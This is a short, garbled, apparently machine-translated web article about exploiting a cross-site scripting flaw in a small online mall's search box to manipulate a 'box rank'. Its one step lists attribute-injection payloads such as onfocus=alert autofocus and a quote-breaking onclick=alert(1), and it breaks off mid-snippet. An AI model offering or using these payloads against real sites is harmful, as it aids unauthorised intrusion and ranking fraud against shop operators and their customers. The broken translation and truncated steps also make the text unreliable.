How to take advantage of xss loophole shua box rank
This article introduces you how to use the xss vulnerability Shua box rank, the content is very detailed, interested friends can refer to, I hope to help you.
Let's dig the xss of the small mall, because the xss of the mall has many input points.
01
Step 1:
Search box judgment:
onfocus=alert1 autofocus
Those two are backquotes, actually available, in the case of not using ' " ( ), but generally close the value of"
" onfocus=alert('1') autofocus "
"onclick="alert(1)
">
